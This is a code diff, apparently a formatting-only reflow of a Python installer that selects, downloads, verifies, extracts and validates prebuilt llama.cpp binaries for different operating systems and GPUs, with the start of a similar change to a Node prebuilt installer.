@@ -4069,7 +4270,9 @@ def resolve_upstream_asset_choice(host: HostInfo, llama_tag: str) -> AssetChoice
                     source_label = "upstream",
                     install_kind = "windows-hip",
                 )
-            log("AMD ROCm detected on Windows but no HIP prebuilt found -- falling back to CPU")
+            log(
+                "AMD ROCm detected on Windows but no HIP prebuilt found -- falling back to CPU"
+            )
 
         # Intel (or other non-NVIDIA/non-AMD) GPU on Windows: use Vulkan. No
         # physical NVIDIA so a CUDA-hidden card isn't reached through Vulkan.
@@ -4087,7 +4290,9 @@ def resolve_upstream_asset_choice(host: HostInfo, llama_tag: str) -> AssetChoice
                     source_label = "upstream",
                     install_kind = "windows-vulkan",
                 )
-            log("Intel GPU detected on Windows but no Vulkan prebuilt found -- falling back to CPU")
+            log(
+                "Intel GPU detected on Windows but no Vulkan prebuilt found -- falling back to CPU"
+            )
 
         upstream_name = f"llama-{llama_tag}-bin-win-cpu-x64.zip"
         if upstream_name not in upstream_assets:
@@ -4127,7 +4332,9 @@ def resolve_upstream_asset_choice(host: HostInfo, llama_tag: str) -> AssetChoice
             install_kind = "macos-x64",
         )
 
-    raise PrebuiltFallback(f"no prebuilt policy exists for {host.system} {host.machine}")
+    raise PrebuiltFallback(
+        f"no prebuilt policy exists for {host.system} {host.machine}"
+    )
 
 
 def resolve_asset_choice(host: HostInfo, llama_tag: str) -> AssetChoice:
@@ -4153,7 +4360,9 @@ def resolve_release_asset_choice(
             torch_preference.selection_log,
         )
         if published_attempts:
-            pin_attempts = _drop_blackwell_incapable_windows_cuda(host, published_attempts)
+            pin_attempts = _drop_blackwell_incapable_windows_cuda(
+                host, published_attempts
+            )
             try:
                 return apply_approved_hashes(pin_attempts, checksums)
             except PrebuiltFallback as exc:
@@ -4178,7 +4387,9 @@ def resolve_release_asset_choice(
         # prebuilt. We still avoid hard-pinning windows-cpu here so a CPU bundle
         # never shadows that ROCm path.
         if host.has_rocm:
-            published_choice = published_rocm_choice_for_host(release, host, "windows-rocm")
+            published_choice = published_rocm_choice_for_host(
+                release, host, "windows-rocm"
+            )
         else:
             published_choice = published_asset_choice_for_kind(release, "windows-cpu")
     elif host.is_windows and host.is_arm64:
@@ -4209,14 +4420,18 @@ def extract_archive(archive_path: Path, destination: Path) -> None:
         normalized = member_name.replace("\\", "/")
         member_path = Path(normalized)
         if member_path.is_absolute():
-            raise PrebuiltFallback(f"archive member used an absolute path: {member_name}")
+            raise PrebuiltFallback(
+                f"archive member used an absolute path: {member_name}"
+            )
 
         target = (base / member_path).resolve()
         base_resolved = base.resolve()
         try:
             target.relative_to(base_resolved)
         except ValueError as exc:
-            raise PrebuiltFallback(f"archive member escaped destination: {member_name}") from exc
+            raise PrebuiltFallback(
+                f"archive member escaped destination: {member_name}"
+            ) from exc
         return target
 
     def _try_repair_missing_slash(
@@ -4262,7 +4477,11 @@ def extract_archive(archive_path: Path, destination: Path) -> None:
         return candidates[0][len(prefix) :]
 
     def safe_link_target(
-        base: Path, member_name: str, link_name: str, target: Path, archive_names: set[str]
+        base: Path,
+        member_name: str,
+        link_name: str,
+        target: Path,
+        archive_names: set[str],
     ) -> tuple[str, Path]:
         normalized = link_name.replace("\\", "/")
         repaired = _try_repair_missing_slash(member_name, normalized, archive_names)
@@ -4322,7 +4541,9 @@ def extract_archive(archive_path: Path, destination: Path) -> None:
                 target.parent.mkdir(parents = True, exist_ok = True)
                 extracted = archive.extractfile(member)
                 if extracted is None:
-                    raise PrebuiltFallback(f"tar archive entry could not be read: {member.name}")
+                    raise PrebuiltFallback(
+                        f"tar archive entry could not be read: {member.name}"
+                    )
                 with extracted, target.open("wb") as dst:
                     shutil.copyfileobj(extracted, dst)
 
@@ -4356,7 +4577,9 @@ def extract_archive(archive_path: Path, destination: Path) -> None:
                 details = ", ".join(
                     f"{member.name} -> {member.linkname}" for member, _ in next_round
                 )
-                raise PrebuiltFallback(f"tar archive contained unresolved link entries: {details}")
+                raise PrebuiltFallback(
+                    f"tar archive contained unresolved link entries: {details}"
+                )
             unresolved = next_round
 
     destination.mkdir(parents = True, exist_ok = True)
@@ -4553,14 +4776,18 @@ def remove_agent_instruction_files(root: Path) -> int:
         return 0
 
     removed = 0
-    for current_dir, dirnames, filenames in os.walk(root, topdown = True, followlinks = False):
+    for current_dir, dirnames, filenames in os.walk(
+        root, topdown = True, followlinks = False
+    ):
         current_path = Path(current_dir)
         # followlinks=False still follows Windows junctions.
         if current_path != root and _is_link_or_junction(current_path):
             dirnames.clear()
             continue
         dirnames[:] = [
-            dirname for dirname in dirnames if not _is_link_or_junction(current_path / dirname)
+            dirname
+            for dirname in dirnames
+            if not _is_link_or_junction(current_path / dirname)
         ]
         for filename in sorted({"AGENTS.md", "CLAUDE.md"}.intersection(filenames)):
             candidate = current_path / filename
@@ -4605,7 +4832,9 @@ def hydrate_source_tree(
         for index, source_url in enumerate(source_urls):
             try:
                 if index > 0:
-                    log(f"retrying source tree download from fallback URL: {source_url}")
+                    log(
+                        f"retrying source tree download from fallback URL: {source_url}"
+                    )
                 download_file_verified(
                     source_url,
                     archive_path,
@@ -4630,16 +4859,21 @@ def hydrate_source_tree(
             source_root / "gguf-py",
         ]
         missing = [
-            str(path.relative_to(source_root)) for path in required_paths if not path.exists()
+            str(path.relative_to(source_root))
+            for path in required_paths
+            if not path.exists()
         ]
         if missing:
             raise PrebuiltFallback(
-                "upstream source archive was missing required repo files: " + ", ".join(missing)
+                "upstream source archive was missing required repo files: "
+                + ", ".join(missing)
             )
         copy_directory_contents(source_root, install_dir)
         removed = remove_agent_instruction_files(install_dir)
         if removed:
-            log(f"removed {removed} contributor-only agent instruction file(s) from staged source")
+            log(
+                f"removed {removed} contributor-only agent instruction file(s) from staged source"
+            )
     except PrebuiltFallback:
         raise
     except Exception as exc:
@@ -4664,7 +4898,9 @@ def discover_installed_executable(install_dir: Path, executable_name: str) -> Pa
     direct = install_dir / executable_name
     if direct.exists() and direct.is_file():
         return direct
-    candidate = next((path for path in install_dir.rglob(executable_name) if path.is_file()), None)
+    candidate = next(
+        (path for path in install_dir.rglob(executable_name) if path.is_file()), None
+    )
     if candidate is None:
         raise PrebuiltFallback(f"{executable_name} was not installed")
     return candidate
@@ -4694,7 +4930,9 @@ def create_exec_entrypoint(entrypoint: Path, target: Path) -> None:
         write_exec_wrapper(entrypoint, target)
 
 
-def overlay_directory_for_choice(install_dir: Path, choice: AssetChoice, host: HostInfo) -> Path:
+def overlay_directory_for_choice(
+    install_dir: Path, choice: AssetChoice, host: HostInfo
+) -> Path:
     if host.is_windows or choice.install_kind.startswith("windows"):
         path = install_dir / "build" / "bin" / "Release"
     else:
@@ -4731,7 +4969,12 @@ def runtime_patterns_for_choice(choice: AssetChoice) -> list[str]:
         "linux-arm64",
         "linux-vulkan",
     }:
-        return ["llama-server", "llama-quantize", "llama-diffusion-gemma-visual-server", "lib*.so*"]
+        return [
+            "llama-server",
+            "llama-quantize",
+            "llama-diffusion-gemma-visual-server",
+            "lib*.so*",
+        ]
     if choice.install_kind in {"macos-arm64", "macos-x64"}:
         return [
             "llama-server",
@@ -4753,7 +4996,9 @@ def runtime_patterns_for_choice(choice: AssetChoice) -> list[str]:
             "llama-diffusion-gemma-visual-server.exe",
             "*.dll",
         ]
-    raise PrebuiltFallback(f"unsupported install kind for runtime overlay: {choice.install_kind}")
+    raise PrebuiltFallback(
+        f"unsupported install kind for runtime overlay: {choice.install_kind}"
+    )
 
 
 def runtime_subdirs_for_choice(choice: AssetChoice) -> list[str]:
@@ -4959,7 +5204,9 @@ def confirm_install_tree(install_dir: Path, host: HostInfo) -> None:
     expected.append(install_dir / "UNSLOTH_PREBUILT_INFO.json")
     missing = [str(path) for path in expected if not path.exists()]
     if missing:
-        raise RuntimeError("activated install was missing expected files: " + ", ".join(missing))
+        raise RuntimeError(
+            "activated install was missing expected files: " + ", ".join(missing)
+        )
 
 
 def activate_staged_dir(staging_dir: Path, dst: Path) -> None:
@@ -4986,7 +5233,9 @@ def activate_staged_dir(staging_dir: Path, dst: Path) -> None:
     except OSError as exc:
         if not is_busy_lock_error(exc):
             raise
-        log(f"os.replace failed ({exc!r}); falling back to file-by-file copy of staging tree")
+        log(
+            f"os.replace failed ({exc!r}); falling back to file-by-file copy of staging tree"
+        )
         shutil.copytree(staging_dir, dst, dirs_exist_ok = True)
         remove_tree(staging_dir)
 
@@ -5111,11 +5360,15 @@ def install_from_archives(
                 expected_sha256 = choice.runtime_sha256,
                 label = f"prebuilt runtime archive {choice.runtime_name}",
             )
-            runtime_extract_dir = Path(tempfile.mkdtemp(prefix = "extract-runtime-", dir = work_dir))
+            runtime_extract_dir = Path(
+                tempfile.mkdtemp(prefix = "extract-runtime-", dir = work_dir)
+            )
             extract_archive(runtime_archive, runtime_extract_dir)
         source_dir = extract_dir
         overlay_dir = overlay_directory_for_choice(install_dir, choice, host)
-        copy_globs(source_dir, overlay_dir, runtime_patterns_for_choice(choice), required = True)
+        copy_globs(
+            source_dir, overlay_dir, runtime_patterns_for_choice(choice), required = True
+        )
         for _subdir in runtime_subdirs_for_choice(choice):
             _src_subdir = source_dir / _subdir
             if _src_subdir.is_dir():
@@ -5160,7 +5413,9 @@ def install_from_archives(
     source_server = build_bin / "llama-server"
     source_quantize = build_bin / "llama-quantize"
     if not source_server.exists() or not source_quantize.exists():
-        raise PrebuiltFallback("unix executables were not installed correctly into build/bin")
+        raise PrebuiltFallback(
+            "unix executables were not installed correctly into build/bin"
+        )
     os.chmod(source_server, 0o755)
     os.chmod(source_quantize, 0o755)
 
@@ -5186,9 +5441,13 @@ def ensure_repo_shape(install_dir: Path) -> None:
         install_dir / "convert_hf_to_gguf.py",
         install_dir / "gguf-py",
     ]
-    missing = [str(path.relative_to(install_dir)) for path in required if not path.exists()]
+    missing = [
+        str(path.relative_to(install_dir)) for path in required if not path.exists()
+    ]
     if missing:
-        raise PrebuiltFallback("hydrated llama.cpp source tree was missing: " + ", ".join(missing))
+        raise PrebuiltFallback(
+            "hydrated llama.cpp source tree was missing: " + ", ".join(missing)
+        )
 
 
 def validation_model_cache_path(install_dir: Path) -> Path:
@@ -5233,7 +5492,9 @@ def _fetch_validation_model_bytes() -> bytes:
         repo_id, revision, filename = parts
         try:
             from huggingface_hub import hf_hub_download
-            local = hf_hub_download(repo_id = repo_id, filename = filename, revision = revision)
+            local = hf_hub_download(
+                repo_id = repo_id, filename = filename, revision = revision
+            )
             return validated_validation_model_bytes(Path(local).read_bytes())
         except Exception as exc:
             log(
@@ -5256,7 +5517,9 @@ def download_validation_model(path: Path, cache_path: Path | None = None) -> Non
                 data = validated_validation_model_bytes(cache_path.read_bytes())
                 log(f"using cached tiny GGUF validation model from {cache_path}")
             except Exception as exc:
-                log(f"cached tiny GGUF validation model was invalid; refreshing cache ({exc})")
+                log(
+                    f"cached tiny GGUF validation model was invalid; refreshing cache ({exc})"
+                )
                 data = None
         if data is None:
             log("downloading tiny GGUF validation model")
@@ -5340,7 +5603,9 @@ def dedupe_existing_dirs(paths: Iterable[str | Path]) -> list[str]:
     return unique
 
 
-def linux_missing_libraries(binary_path: Path, *, env: dict[str, str] | None = None) -> list[str]:
+def linux_missing_libraries(
+    binary_path: Path, *, env: dict[str, str] | None = None
+) -> list[str]:
     try:
         result = run_capture(["ldd", str(binary_path)], timeout = 20, env = env)
     except Exception:
@@ -5498,7 +5763,9 @@ def _macho_slice_minos(data: bytes, offset: int) -> tuple[int, int] | None:
     return None
 
 
-def macho_minimum_macos(path: Path, host: HostInfo | None = None) -> tuple[int, int] | None:
+def macho_minimum_macos(
+    path: Path, host: HostInfo | None = None
+) -> tuple[int, int] | None:
     """Minimum macOS (major, minor) a Mach-O binary or dylib requires.
 
     Pure-Python so it works on consumer Macs without the Xcode command line
@@ -5537,7 +5804,9 @@ def macho_minimum_macos(path: Path, host: HostInfo | None = None) -> tuple[int,
             return None
         if host is not None:
             want = (
-                _CPU_TYPE_ARM64 if host.is_arm64 else (_CPU_TYPE_X86_64 if host.is_x86_64 else None)
+                _CPU_TYPE_ARM64
+                if host.is_arm64
+                else (_CPU_TYPE_X86_64 if host.is_x86_64 else None)
             )
             for cputype, minos in slices:
                 if cputype == want:
@@ -5598,7 +5867,8 @@ def preflight_macos_installed_binaries(
     issues = macos_binary_minos_issues(binaries, install_dir, host)
     if issues:
         raise PrebuiltFallback(
-            "macos prebuilt requires a newer macOS than this host:\n" + "\n".join(issues)
+            "macos prebuilt requires a newer macOS than this host:\n"
+            + "\n".join(issues)
         )
 
 
@@ -5614,14 +5884,18 @@ def preflight_linux_installed_binaries(
         missing = linux_missing_libraries(binary_path, env = env)
         if not missing:
             continue
-        runtime_dirs = [part for part in env.get("LD_LIBRARY_PATH", "").split(os.pathsep) if part]
+        runtime_dirs = [
+            part for part in env.get("LD_LIBRARY_PATH", "").split(os.pathsep) if part
+        ]
         issues.append(
             f"{binary_path.name}: missing={','.join(missing)} "
             f"ld_library_path={','.join(runtime_dirs) if runtime_dirs else 'none'}"
         )
 
     if issues:
-        raise PrebuiltFallback("linux extracted binary preflight failed:\n" + "\n".join(issues))
+        raise PrebuiltFallback(
+            "linux extracted binary preflight failed:\n" + "\n".join(issues)
+        )
 
 
 def glob_paths(*patterns: str) -> list[str]:
@@ -5667,7 +5941,9 @@ def windows_runtime_dirs() -> list[str]:
 def windows_runtime_dirs_for_patterns(
     required_patterns: Iterable[str], candidate_dirs: Iterable[str] | None = None
 ) -> list[str]:
-    directories = list(candidate_dirs) if candidate_dirs is not None else windows_runtime_dirs()
+    directories = (
+        list(candidate_dirs) if candidate_dirs is not None else windows_runtime_dirs()
+    )
     matching_dirs: list[str] = []
     for pattern in required_patterns:
         matched_dirs = [
@@ -5786,7 +6062,8 @@ def scrub_env(env: dict[str, str]) -> dict[str, str]:
     return {
         key: value
         for key, value in env.items()
-        if not is_secret_env_name(key) and not _URL_USERINFO_CREDENTIAL_RE.search(value or "")
+        if not is_secret_env_name(key)
+        and not _URL_USERINFO_CREDENTIAL_RE.search(value or "")
     }
 
 
@@ -5877,12 +6154,20 @@ def binary_env(
         if _wsl_rocm:
             ld_dirs = [*_wsl_rocm, *ld_dirs]
             env.setdefault("HSA_ENABLE_DXG_DETECTION", "1")
-        existing = [part for part in env.get("LD_LIBRARY_PATH", "").split(os.pathsep) if part]
-        env["LD_LIBRARY_PATH"] = os.pathsep.join(dedupe_existing_dirs([*ld_dirs, *existing]))
+        existing = [
+            part for part in env.get("LD_LIBRARY_PATH", "").split(os.pathsep) if part
+        ]
+        env["LD_LIBRARY_PATH"] = os.pathsep.join(
+            dedupe_existing_dirs([*ld_dirs, *existing])
+        )
     elif host.is_macos:
         dyld_dirs = [str(binary_path.parent), str(install_dir)]
-        existing = [part for part in env.get("DYLD_LIBRARY_PATH", "").split(os.pathsep) if part]
-        env["DYLD_LIBRARY_PATH"] = os.pathsep.join(dedupe_existing_dirs([*dyld_dirs, *existing]))
+        existing = [
+            part for part in env.get("DYLD_LIBRARY_PATH", "").split(os.pathsep) if part
+        ]
+        env["DYLD_LIBRARY_PATH"] = os.pathsep.join(
+            dedupe_existing_dirs([*dyld_dirs, *existing])
+        )
     return env
 
 
@@ -5904,7 +6189,11 @@ def validate_quantize(
         env = binary_env(quantize_path, install_dir, host, runtime_line = runtime_line),
         **windows_hidden_subprocess_kwargs(),
     )
-    if result.returncode != 0 or not quantized_path.exists() or quantized_path.stat().st_size == 0:
+    if (
+        result.returncode != 0
+        or not quantized_path.exists()
+        or quantized_path.stat().st_size == 0
+    ):
         combined = result.stdout + ("\n" + result.stderr if result.stderr else "")
         # Backstop for prebuilts the static minos scan could not read: a dyld
         # "built for macOS N" / missing Metal symbol failure means this binary
@@ -5914,7 +6203,9 @@ def validate_quantize(
             if looks_like_macos_incompatibility(combined)
             else ""
         )
-        raise PrebuiltFallback(prefix + "llama-quantize validation failed:\n" + combined)
+        raise PrebuiltFallback(
+            prefix + "llama-quantize validation failed:\n" + combined
+        )
 
 
 def validate_server(
@@ -5974,7 +6265,9 @@ def validate_server(
             # is exercised against the actual hardware rather than the
             # CPU fallback. NVIDIA and macOS-arm64 are already covered.
             _enable_gpu_layers = (
-                host.has_usable_nvidia or host.has_rocm or (host.is_macos and host.is_arm64)
+                host.has_usable_nvidia
+                or host.has_rocm
+                or (host.is_macos and host.is_arm64)
             )
         if _enable_gpu_layers:
             command.extend(["--n-gpu-layers", "1"])
@@ -5990,7 +6283,9 @@ def validate_server(
                     stdout = log_handle,
                     stderr = subprocess.STDOUT,
                     text = True,
-                    env = binary_env(server_path, install_dir, host, runtime_line = runtime_line),
+                    env = binary_env(
+                        server_path, install_dir, host, runtime_line = runtime_line
+                    ),
                     **windows_hidden_subprocess_kwargs(),
                 )
                 deadline = time.time() + 60
@@ -6005,7 +6300,9 @@ def validate_server(
                         exited_quickly = (
                             time.time() - startup_started
                         ) <= SERVER_BIND_RETRY_WINDOW_SECONDS
-                        failure = PrebuiltFallback("llama-server exited during startup:\n" + output)
+                        failure = PrebuiltFallback(
+                            "llama-server exited during startup:\n" + output
+                        )
                         if (
                             port_attempt < SERVER_PORT_BIND_ATTEMPTS
                             and is_retryable_server_bind_error(
@@ -6022,7 +6319,9 @@ def validate_server(
                             break
                         raise failure
 
-                    payload = json.dumps({"prompt": "a", "n_predict": 1}).encode("utf-8")
+                    payload = json.dumps({"prompt": "a", "n_predict": 1}).encode(
+                        "utf-8"
+                    )
                     request = urllib.request.Request(
                         f"http://127.0.0.1:{port}/completion",
                         data = payload,
@@ -6034,7 +6333,9 @@ def validate_server(
                             response_body = response.read().decode("utf-8", "replace")
                             if status_code == 200:
                                 return
-                            last_error = RuntimeError(f"unexpected HTTP status {status_code}")
+                            last_error = RuntimeError(
+                                f"unexpected HTTP status {status_code}"
+                            )
                     except urllib.error.HTTPError as exc:
                         response_body = exc.read().decode("utf-8", "replace")
                         last_error = exc
@@ -6068,7 +6369,9 @@ def validate_server(
     raise PrebuiltFallback("llama-server validation failed unexpectedly")
 
 
-def collect_system_report(host: HostInfo, choice: AssetChoice | None, install_dir: Path) -> str:
+def collect_system_report(
+    host: HostInfo, choice: AssetChoice | None, install_dir: Path
+) -> str:
     lines = [
         f"platform={host.system} machine={host.machine}",
         f"driver_cuda_version={host.driver_cuda_version}",
@@ -6082,7 +6385,8 @@ def collect_system_report(host: HostInfo, choice: AssetChoice | None, install_di
     if host.is_linux and host.has_physical_nvidia:
         runtime_lines, runtime_dirs = detected_linux_runtime_lines()
         lines.append(
-            "linux_runtime_lines=" + (",".join(runtime_lines) if runtime_lines else "none")
+            "linux_runtime_lines="
+            + (",".join(runtime_lines) if runtime_lines else "none")
         )
         for runtime_line in ("cuda13", "cuda12"):
             lines.append(
@@ -6111,7 +6415,10 @@ def collect_system_report(host: HostInfo, choice: AssetChoice | None, install_di
             server_env = binary_env(server_binary, install_dir, host)
             lines.append(
                 "linux_missing_libs="
-                + (",".join(linux_missing_libraries(server_binary, env = server_env)) or "none")
+                + (
+                    ",".join(linux_missing_libraries(server_binary, env = server_env))
+                    or "none"
+                )
             )
             lines.append(
                 "linux_runtime_dirs="
@@ -6119,7 +6426,9 @@ def collect_system_report(host: HostInfo, choice: AssetChoice | None, install_di
                     ",".join(
                         [
                             part
-                            for part in server_env.get("LD_LIBRARY_PATH", "").split(os.pathsep)
+                            for part in server_env.get("LD_LIBRARY_PATH", "").split(
+                                os.pathsep
+                            )
                             if part
                         ]
                     )
@@ -6127,16 +6436,21 @@ def collect_system_report(host: HostInfo, choice: AssetChoice | None, install_di
                 )
             )
             try:
-                ldd = run_capture(["ldd", str(server_binary)], timeout = 20, env = server_env)
+                ldd = run_capture(
+                    ["ldd", str(server_binary)], timeout = 20, env = server_env
+                )
                 lines.append("ldd llama-server:")
                 lines.append((ldd.stdout + ldd.stderr).strip())
             except Exception as exc:
                 lines.append(f"ldd error: {exc}")
     elif host.is_windows:
-        lines.append("windows_runtime_dirs=" + (",".join(windows_runtime_dirs()) or "none"))
+        lines.append(
+            "windows_runtime_dirs=" + (",".join(windows_runtime_dirs()) or "none")
+        )
         runtime_lines, runtime_dirs = detected_windows_runtime_lines()
         lines.append(
-            "windows_runtime_lines=" + (",".join(runtime_lines) if runtime_lines else "none")
+            "windows_runtime_lines="
+            + (",".join(runtime_lines) if runtime_lines else "none")
         )
         for runtime_line in ("cuda13", "cuda12"):
             lines.append(
@@ -6313,7 +6627,9 @@ def resolve_install_attempts(
     return requested_tag, plan.llama_tag, plan.attempts, plan.approved_checksums
 
 
-def _linux_published_attempts(host: HostInfo, bundle: PublishedReleaseBundle) -> list[AssetChoice]:
+def _linux_published_attempts(
+    host: HostInfo, bundle: PublishedReleaseBundle
+) -> list[AssetChoice]:
     """Build the install attempts for a fork Linux host from a manifest-described
     bundle: CUDA, per-gfx ROCm, or (non-GPU) CPU. Same selection the upstream
     filename path used, just sourced from the manifest instead of reconstructed
@@ -6350,7 +6666,9 @@ def _linux_published_attempts(host: HostInfo, bundle: PublishedReleaseBundle) ->
         # has none, so leave attempts empty and source-build rather than hand it
         # the x86_64 linux-cpu binary (the Linux preflight checks libraries, not
         # ELF arch, so a wrong-arch binary would not be caught).
-        kind = "linux-cpu" if host.is_x86_64 else "linux-arm64" if host.is_arm64 else None
+        kind = (
+            "linux-cpu" if host.is_x86_64 else "linux-arm64" if host.is_arm64 else None
+        )
         cpu_choice = published_asset_choice_for_kind(bundle, kind) if kind else None
         if cpu_choice is not None:
             attempts.append(cpu_choice)
@@ -6370,11 +6688,17 @@ def _fork_manifest_release_plans(
     in llama-prebuilt-manifest.json rather than in the asset filename (CPU,
     x64/arm64 CUDA, Windows CUDA, per-gfx ROCm, and macOS)."""
     requested_tag = normalized_requested_llama_tag(llama_tag)
-    allow_older_release_fallback = requested_tag == "latest" and not published_release_tag
+    allow_older_release_fallback = (
+        requested_tag == "latest" and not published_release_tag
+    )
     release_limit = max(1, max_release_fallbacks)
     # macOS may need to walk past a run of too-new prebuilts. Only when the host
     # version is known; otherwise keep the default (cannot tell up front).
-    if host.is_macos and allow_older_release_fallback and host.macos_version is not None:
+    if (
+        host.is_macos
+        and allow_older_release_fallback
+        and host.macos_version is not None
+    ):
         release_limit = max(release_limit, DEFAULT_MAX_MACOS_RELEASE_FALLBACKS)
     plans: list[InstallReleasePlan] = []
     last_error: PrebuiltFallback | None = None
@@ -6394,10 +6718,14 @@ def _fork_manifest_release_plans(
             if host.is_linux:
                 linux_attempts = _linux_published_attempts(host, bundle)
                 if not linux_attempts:
-                    raise PrebuiltFallback("no compatible Linux prebuilt asset was found")
+                    raise PrebuiltFallback(
+                        "no compatible Linux prebuilt asset was found"
+                    )
                 attempts = apply_approved_hashes(linux_attempts, checksums)
                 if not attempts:
-                    raise PrebuiltFallback("no compatible Linux prebuilt asset was found")
+                    raise PrebuiltFallback(
+                        "no compatible Linux prebuilt asset was found"
+                    )
                 if attempts[0].selection_log:
                     log_lines(attempts[0].selection_log)
             else:
@@ -6503,7 +6831,9 @@ def write_prebuilt_metadata(
         "prebuilt_fallback_used": prebuilt_fallback_used,
         "installed_at_utc": time.strftime("%Y-%m-%dT%H:%M:%SZ", time.gmtime()),
     }
-    (install_dir / "UNSLOTH_PREBUILT_INFO.json").write_text(json.dumps(metadata, indent = 2) + "\n")
+    (install_dir / "UNSLOTH_PREBUILT_INFO.json").write_text(
+        json.dumps(metadata, indent = 2) + "\n"
+    )
 
 
 def sync_marker_force_cpu(install_dir: Path, persist_force_cpu: bool) -> None:
@@ -6517,11 +6847,16 @@ def sync_marker_force_cpu(install_dir: Path, persist_force_cpu: bool) -> None:
         marker = json.loads(marker_path.read_text())
     except (OSError, ValueError):
         return
-    if not isinstance(marker, dict) or bool(marker.get("force_cpu")) == persist_force_cpu:
+    if (
+        not isinstance(marker, dict)
+        or bool(marker.get("force_cpu")) == persist_force_cpu
+    ):
         return
     marker["force_cpu"] = persist_force_cpu
     marker_path.write_text(json.dumps(marker, indent = 2) + "\n")
-    log(f"existing install reused; recorded force_cpu={persist_force_cpu} from this run")
+    log(
+        f"existing install reused; recorded force_cpu={persist_force_cpu} from this run"
+    )
 
 
 def expected_install_fingerprint(
@@ -6654,7 +6989,9 @@ def install_runtime_dir(install_dir: Path, host: HostInfo) -> Path:
     return install_dir / "build" / "bin"
 
 
-def runtime_payload_is_healthy(install_dir: Path, host: HostInfo, choice: AssetChoice) -> bool:
+def runtime_payload_is_healthy(
+    install_dir: Path, host: HostInfo, choice: AssetChoice
+) -> bool:
     runtime_dir = install_runtime_dir(install_dir, host)
     if not runtime_dir.exists():
         return False
@@ -6780,7 +7117,9 @@ def validate_prebuilt_choice(
         approved_checksums, source_repo, source_archive, exact_source, release_tag
     )
     if exact_source:
-        log(f"hydrating exact llama.cpp source for {source_repo}@{source_ref} into {install_dir}")
+        log(
+            f"hydrating exact llama.cpp source for {source_repo}@{source_ref} into {install_dir}"
+        )
     else:
         log(f"hydrating upstream llama.cpp source for {llama_tag} into {install_dir}")
     hydrate_source_tree(
@@ -6798,7 +7137,9 @@ def validate_prebuilt_choice(
         asset_url = asset_url,
     )
     log(f"overlaying prebuilt bundle {choice.name} into {install_dir}")
-    server_path, quantize_path = install_from_archives(choice, host, install_dir, work_dir)
+    server_path, quantize_path = install_from_archives(
+        choice, host, install_dir, work_dir
+    )
     preflight_linux_installed_binaries((server_path, quantize_path), install_dir, host)
     preflight_macos_installed_binaries((server_path, quantize_path), install_dir, host)
     ensure_repo_shape(install_dir)
@@ -6881,7 +7222,9 @@ def validate_prebuilt_attempts(
             )
             # Skip a matching candidate unless it still needs the DiffusionGemma
             # backfill re-extract (gated per-attempt, not per-plan).
-            and not diffusion_visual_server_backfill_needed(existing_install_dir, host, attempt)
+            and not diffusion_visual_server_backfill_needed(
+                existing_install_dir, host, attempt
+            )
         ):
             log(
                 "existing llama.cpp install already matches fallback candidate "
@@ -6982,7 +7325,9 @@ def _route_to_vulkan_prebuilt(
     # has_physical_nvidia=True while has_usable_nvidia goes False. Vulkan ignores
     # CUDA_VISIBLE_DEVICES, so auto-routing such a host would let it grab the
     # reserved NVIDIA GPU. An explicit UNSLOTH_FORCE_VULKAN still overrides.
-    auto_intel = host.has_intel_gpu and not host.has_physical_nvidia and not host.has_rocm
+    auto_intel = (
+        host.has_intel_gpu and not host.has_physical_nvidia and not host.has_rocm
+    )
     if force_cpu or not (forced or auto_intel):
         return host, published_repo, published_release_tag
     if host.is_macos:
@@ -7063,7 +7408,9 @@ def install_prebuilt(
         host, published_repo, published_release_tag, force_cpu = force_cpu
     )
     choice: AssetChoice | None = None
-    cleanup_root = install_dir if instruction_cleanup_root is None else instruction_cleanup_root
+    cleanup_root = (
+        install_dir if instruction_cleanup_root is None else instruction_cleanup_root
+    )
     try:
         with install_lock(install_lock_path(install_dir)):
             if (install_dir / "UNSLOTH_PREBUILT_INFO.json").is_file():
@@ -7090,9 +7437,13 @@ def install_prebuilt(
                 published_repo,
                 published_release_tag,
             )
-            if release_plans and existing_install_matches_plan(install_dir, host, release_plans[0]):
+            if release_plans and existing_install_matches_plan(
+                install_dir, host, release_plans[0]
+            ):
                 current = release_plans[0]
-                if diffusion_visual_server_backfill_needed(install_dir, host, current.attempts[0]):
+                if diffusion_visual_server_backfill_needed(
+                    install_dir, host, current.attempts[0]
+                ):
                     log(
                         f"existing install matches {current.release_tag} but is missing the "
                         "DiffusionGemma visual-server; re-extracting the bundle to backfill it"
@@ -7109,11 +7460,15 @@ def install_prebuilt(
             with tempfile.TemporaryDirectory(prefix = "unsloth-llama-prebuilt-") as tmp:
                 work_dir = Path(tmp)
                 probe_path = work_dir / "stories260K.gguf"
-                download_validation_model(probe_path, validation_model_cache_path(install_dir))
+                download_validation_model(
+                    probe_path, validation_model_cache_path(install_dir)
+                )
                 release_count = len(release_plans)
                 for release_index, plan in enumerate(release_plans):
                     choice = plan.attempts[0]
-                    backfill = diffusion_visual_server_backfill_needed(install_dir, host, choice)
+                    backfill = diffusion_visual_server_backfill_needed(
+                        install_dir, host, choice
+                    )
                     if existing_install_matches_plan(install_dir, host, plan):
                         if backfill:
                             log(
@@ -7353,7 +7708,9 @@ def main() -> int:
         )
         emit_resolver_output(
             {
-                "requested_tag": normalized_requested_llama_tag(args.resolve_install_tag),
+                "requested_tag": normalized_requested_llama_tag(
+                    args.resolve_install_tag
+                ),
                 "llama_tag": resolved,
             },
             output_format = args.output_format,
@@ -7368,7 +7725,9 @@ def main() -> int:
         )
         emit_resolver_output(
             {
-                "requested_tag": normalized_requested_llama_tag(args.resolve_source_build),
+                "requested_tag": normalized_requested_llama_tag(
+                    args.resolve_source_build
+                ),
                 "source_url": plan.source_url,
                 "source_ref_kind": plan.source_ref_kind,
                 "source_ref": plan.source_ref,
@@ -7394,7 +7753,10 @@ def main() -> int:
         # Same Vulkan routing the install path applies, so the probe's answer
         # matches what would install (an Intel/forced-Vulkan host -> upstream).
         host, repo, release_tag = _route_to_vulkan_prebuilt(
-            host, args.published_repo, args.published_release_tag or "", force_cpu = _cpu_mechanism
+            host,
+            args.published_repo,
+            args.published_release_tag or "",
+            force_cpu = _cpu_mechanism,
         )
         try:
             _requested, plans = resolve_simple_install_release_plans(
diff --git a/studio/install_node_prebuilt.py b/studio/install_node_prebuilt.py
index fb40634e95..2002cc8095 100644
--- a/studio/install_node_prebuilt.py
+++ b/studio/install_node_prebuilt.py
@@ -94,7 +94,9 @@ class BusyInstallConflict(RuntimeError):
 
 
 def log(message: str) -> None:
-    print(f"[node-prebuilt] {message}", file = sys.stdout if _LOG_TO_STDOUT else sys.stderr)
+    print(
+        f"[node-prebuilt] {message}", file = sys.stdout if _LOG_TO_STDOUT else sys.stderr
+    )
 
 
 # ── Host detection ──
@@ -120,7 +122,9 @@ def detect_host() -> HostInfo:
